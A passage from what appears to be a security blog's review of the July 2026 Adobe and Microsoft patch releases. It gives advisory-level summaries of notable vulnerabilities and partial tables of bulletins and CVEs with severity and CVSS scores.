    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-78.html" target="_blank">APSB26-78</a></td>
    <td>Adobe After Effects</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/animate/apsb26-83.html" target="_blank">APSB26-83</a></td>
    <td>Adobe Animate</td>
    <td>6</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/audition/apsb26-71.html" target="_blank">APSB26-71</a></td>
    <td>Adobe Audition</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-81.html" target="_blank">APSB26-81</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/creative-cloud/apsb26-77.html" target="_blank">APSB26-77</a></td>
    <td>Adobe Creative Cloud Desktop Application</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.1</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-74.html" target="_blank">APSB26-74</a></td>
    <td>Adobe Experience Manager</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-79.html" target="_blank">APSB26-79</a></td>
    <td>Adobe Illustrator</td>
    <td>5</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-72.html" target="_blank">APSB26-72</a></td>
    <td>Adobe Media Encoder</td>
    <td>5</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-76.html" target="_blank">APSB26-76</a></td>
    <td>Adobe Premiere Pro</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-80.html" target="_blank">APSB26-80</a></td>
    <td>Content Credentials SDK</td>
    <td>12</td>
    <td>Critical</td>
    <td>8.2</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>12 bulletins</td>
    <td>88</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  






  <p class="">While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here. </p><p class=""><strong>Microsoft Patches for July 2026</strong></p><p class="">Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png" data-image-dimensions="2158x1150" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1000w" width="2158" height="1150" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  





  <p class="">The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.</p><p class="">So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><strong>CVE-2026-56155</strong></a><strong> - Active Directory Federation Services Elevation of Privilege Vulnerability<br></strong>This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56154"><strong>CVE-2026-56164</strong></a><strong> - Microsoft SharePoint Server Elevation of Privilege Vulnerability<br></strong>The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><strong>CVE-2026-57092</strong></a><strong> - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability<br></strong>This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><strong>CVE-2026-50522</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><strong>58644</strong></a><strong> - Microsoft SharePoint Remote Code Execution Vulnerability<br></strong>This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during <a href="https://www.zerodayinitiative.com/blog/2026/5/16/pwn2own-berlin-2026-day-three-results-and-master-of-pwn">Pwn2Own Berlin</a>, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><strong>CVE-2026-56190</strong></a><strong> - Remote Desktop Protocol Remote Code Execution Vulnerability</strong><br> This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><strong>CVE-2026-55008</strong></a><strong> - Microsoft Exchange Server Spoofing Vulnerability<br></strong>Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><strong>CVE-2026-50518</strong></a><strong> - Windows DHCP Server Remote Code Execution Vulnerability<br></strong>There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><strong>CVE-2026-56188</strong></a><strong> - Windows Server Network driver Remote Code Execution Vulnerability<br></strong>Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><strong>CVE-2026-55010</strong></a><strong> - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability<br></strong>File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.</p><p class="">Here’s the full list of CVEs released by Microsoft for July 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-Jul-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><span>CVE-2026-56155</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164"><span>CVE-2026-56164</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661"><span>CVE-2026-50661</span></a></td>
  <td width="256" class="xl74">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl70">Yes</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121"><span>CVE-2026-54121</span></a></td>
  <td width="256" class="xl74">Active Directory
  Certificate Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45499"><span>CVE-2026-45499 **</span></a></td>
  <td width="256" class="xl74">Azure OpenAI Elevation
  of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564"><span>CVE-2026-48564</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370"><span>CVE-2026-50370</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159"><span>CVE-2026-56159</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382"><span>CVE-2026-50382</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41106"><span>CVE-2026-41106 **</span></a></td>
  <td width="256" class="xl74">Microsoft 365 Copilot
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26145"><span>CVE-2026-26145 **</span></a></td>
  <td width="256" class="xl74">Microsoft Azure
  Synapse Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48561"><span>CVE-2026-48561</span></a></td>
  <td width="256" class="xl74">Microsoft Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55011"><span>CVE-2026-55011</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55012"><span>CVE-2026-55012</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="96">
  <td class="xl67" height="96"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55944"><span>CVE-2026-55944</span></a></td>
  <td width="256" class="xl74">Microsoft Dynamics NAV
  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57100"><span>CVE-2026-57100 **</span></a></td>
  <td width="256" class="xl74">Microsoft Entra
  Provisioning Service Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55041"><span>CVE-2026-55041</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998"><span>CVE-2026-54998 **</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Online Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><span>CVE-2026-55008</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992"><span>CVE-2026-54992</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50314"><span>CVE-2026-50314</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50467"><span>CVE-2026-50467</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018"><span>CVE-2026-55018</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55022"><span>CVE-2026-55022</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045"><span>CVE-2026-55045</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55049"><span>CVE-2026-55049</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55129"><span>CVE-2026-55129</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55056"><span>CVE-2026-55056</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55140"><span>CVE-2026-55140</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043"><span>CVE-2026-55043</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55123"><span>CVE-2026-55123</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55120"><span>CVE-2026-55120</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><span>CVE-2026-50522</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><span>CVE-2026-58644</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040"><span>CVE-2026-55040</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Security Feature Bypass Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117"><span>CVE-2026-54117</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118"><span>CVE-2026-54118</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50655"><span>CVE-2026-50655</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56189"><span>CVE-2026-56189</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090"><span>CVE-2026-57090</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094"><span>CVE-2026-57094</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087"><span>CVE-2026-57087</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><span>CVE-2026-57092</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  VMSwitch Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033"><span>CVE-2026-55033</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127"><span>CVE-2026-55127</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
